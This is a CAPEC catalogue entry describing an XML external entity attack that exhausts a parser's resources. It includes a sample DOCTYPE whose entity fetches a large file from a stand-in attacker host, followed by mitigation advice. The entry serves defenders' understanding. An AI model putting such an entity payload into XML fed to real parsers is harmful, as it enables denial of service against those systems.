Common Attack Pattern Enumeration and Classification
A Community Resource for Identifying and Understanding Attacks
This attack takes advantage of the entity replacement property of XML where the value of the replacement is a URI. A well-crafted XML document could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.
In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer.
< !DOCTYPE bomb [
<!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe">
This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
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